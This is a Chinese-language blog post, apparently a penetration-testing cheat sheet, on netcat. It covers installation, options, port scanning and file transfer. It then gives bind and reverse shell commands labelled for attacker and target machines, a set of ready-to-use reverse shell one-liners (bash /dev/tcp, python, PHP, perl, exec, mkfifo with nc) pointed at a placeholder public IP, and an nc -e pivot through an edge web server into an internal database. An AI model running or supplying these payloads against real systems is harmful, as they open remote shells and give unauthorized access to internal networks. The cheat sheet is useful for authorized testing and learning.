NetCat

18

简介

Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的”瑞士军刀”。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

安装

linux 现在安装:

下载地址:
https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make

选项

-h 查看帮助信息
-d: 后台模式
-e: 程序重定向
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过域名服务器)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用

使用

1、banner 信息

nc -nv <目标IP> 22

2、端口扫描

扫描指定端口
nc -v <目标IP> 80
扫描端口段
nc -v -z <目标IP> 20-1024

3、监听端口

监听本地端口
nc -lp 4444

4、文件传输

传输端:
nc -vn 192.168.1.1 4444 < test.txt -q 1
接受端:
nc -lp 4444 > 1.txt
接受到的数据放到1.txt

5、简易聊天

nc -l -p 4444
nc -vn 192.168.1.1 4444

6、反弹Shell

1、正向shell
客户端连接服务器,客户端获取服务器的shell。(目标机监听,攻击机连接)
目标机命令:
nc -lvp 4444 -e /bin/sh                       
nc -lvp 4444 -e c:\windows\system32\cmd.exe   
攻击机命令:
nc 192.168.1.1 4444

2、反向shell
客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。
(攻击机监听,目标机连接)
攻击机命令:
nc -lvp 999
目标机命令:
nc 192.168.1.1 999 -e /bin/sh  
nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe  

7、各种shell

1、bash反弹shell

bash -i >& /dev/tcp/公网IP/4444 0>&1

2、python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("公网IP",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后使用下面命令获取一个bash    
sudo python -c 'import pty;pty.spawn("/bin/bash")'

3、PHP反弹shell

php -r '$sock=fsockopen("公网IP",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

4、perl反弹shell

perl -e 'use Socket;$i="公网IP";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

5、EXEC 反弹shell

0<&196;exec 196<>/dev/tcp/公网IP/3333; sh <&196 >&196 2>&196

6、配合命令管道反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <公网IP> 2222 >/tmp/f

8、内网代理

通过边界机作代理,使kali与数据库通信,访问内网数据库:

攻击机:192.136.100.111 (公网IP)
WEB边界机:192.168.1.100 10.10.10.100
内网数据库:10.10.10.200

攻击机执行:
nc -lvp 3333
数据库执行:
nc -lvp 3333 -e /bin/sh
web服务器执行:
nc -v 192.136.100.111 3333 -c "nc -v 10.10.10.200 3333"

lxc

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注